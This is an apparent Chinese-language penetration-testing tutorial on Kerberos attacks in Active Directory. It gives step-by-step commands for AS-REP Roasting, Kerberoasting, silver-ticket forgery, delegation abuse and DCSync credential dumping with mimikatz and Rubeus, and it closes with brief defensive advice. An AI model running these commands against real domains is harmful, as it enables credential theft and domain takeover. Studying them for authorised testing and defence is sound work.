域内相关协议与横向方法总结(二)
字数 1414 2025-08-25 22:59:09
Kerberos域内协议与横向渗透方法详解
1. AS-REP Roasting攻击
1.1 攻击原理
AS-REP Roasting攻击利用了Kerberos协议中"不要求Kerberos预认证"(Do not require Kerberos preauthentication)的配置漏洞。在AS-REQ阶段,正常情况下KDC会要求客户端使用用户密码的hash加密时间戳进行验证。但如果账户启用了"不要求预认证",攻击者可以直接请求该用户的AS-REP响应,其中包含使用用户密码hash加密的数据,从而可以进行离线破解。
1.2 攻击步骤
- 查找启用了不要求预认证的账户:
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired
- 获取AS-REP哈希:
Import-Module .\ASREPRoast.ps1
Get-ASREPHash -UserName username -Domain domain.com
或使用Rubeus:
Rubeus.exe asreproast
- 破解哈希:
hashcat -m 18200 hash.txt password.txt
2. Kerberoasting (TGS-REP)攻击
2.1 SPN基础知识
服务主体名称(SPN)是服务实例的唯一标识,格式通常为服务类型/主机名:端口/服务名。
- SPN分类:
- 注册在Computers下:服务以Local System或Network Service运行
- 注册在User下:服务以域用户身份运行
2.2 SPN管理命令
- 查看SPN:
setspn -q */*
setspn -T domain.com -q */*
- 创建SPN:
setspn -S http/<computername>.<domainname> <domainuseraccount>
- 删除SPN:
setspn -D MySQL/web-sc.de1ay.com:3307/MySQL
2.3 Kerberoasting攻击步骤
- 查找SPN账户:
Import-Module .\PowerView.ps1
Get-NetUser -SPN
- 请求服务票据:
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN名称"
或使用mimikatz:
kerberos::ask /target:SPN名称
- 导出并破解票据:
mimikatz "kerberos::list /export"
使用kirbi2john.py提取哈希后破解:
hashcat -m 13100 hash.txt password.txt
3. 票据伪造攻击
3.1 白银票据(Silver Ticket)
白银票据是伪造的服务票据(ST),只能访问特定服务。
攻击条件:
- 域名
- 域SID
- 目标服务FQDN
- 服务账号的NTLM Hash
- 伪造的用户名
攻击步骤:
- 获取服务账号hash
- 伪造票据:
kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /target:targethost.domain.com /rc4:servicehash /service:servicetype /user:username /ptt
3.2 服务票据重写
python kerberoast.py -p Password123 -r original.kirbi -w new.kirbi -u 500 # 改变用户
python kerberoast.py -p Password123 -r original.kirbi -w new.kirbi -g 512 # 改变组
导入票据:
kerberos::ptt new.kirbi
4. 委派攻击
4.1 非约束委派攻击
原理:服务会缓存访问用户的TGT,攻击者可利用这些TGT模拟用户身份。
攻击步骤:
- 查找非约束委派账户:
Get-NetUser -Unconstrained
Get-NetComputer -Unconstrained
或使用ADFind:
AdFind.exe -b "DC=domain,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
- 诱导域管访问(如利用打印机漏洞):
SpoolSampler.exe DC target
- 导出并利用TGT:
sekurlsa::tickets /export
kerberos::ptt ticket.kirbi
lsadump::dcsync /domain:domain.com /all
4.2 约束委派攻击
原理:服务可以代表用户获取特定服务的ST。
攻击步骤:
- 查找约束委派账户:
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
- 使用kekeo获取票据:
tgt::ask /user:serviceaccount /domain:domain.com /ntlm:hash
tgs::s4u /tgt:ticket.kirbi /user:Administrator@domain.com /service:targetservice/targethost.domain.com
- 导入票据访问目标服务
4.3 基于资源的约束委派攻击
原理:在目标服务上配置允许其他服务代表用户访问自己。
攻击步骤:
- 创建机器账户:
New-MachineAccount -MachineAccount attacker -Password $(ConvertTo-SecureString "password" -AsPlainText -Force)
-
配置目标服务的msDS-AllowedToActOnBehalfOfOtherIdentity属性
-
获取票据:
Rubeus.exe s4u /user:attacker$ /rc4:hash /impersonateuser:Administrator /msdsspn:service/target.domain.com /ptt
- 访问目标服务
5. 工具列表
- PowerView.ps1:AD信息收集
- ASREPRoast.ps1:AS-REP哈希提取
- Rubeus:Kerberos票据操作
- mimikatz:凭据提取和票据操作
- SpoolSampler:打印机漏洞利用
- kekeo:Kerberos协议操作
- ADFind:AD信息查询
6. 防御建议
- 禁用不必要的预认证
- 限制委派权限
- 监控异常Kerberos活动
- 使用AES加密而非RC4
- 定期审计SPN和委派配置
- 限制机器账户创建权限
- 启用Protected Users组防止凭据缓存
以上内容涵盖了Kerberos协议在域环境中的主要攻击面,包括AS-REP Roasting、Kerberoasting、票据伪造和各类委派攻击,提供了详细的攻击步骤和防御建议。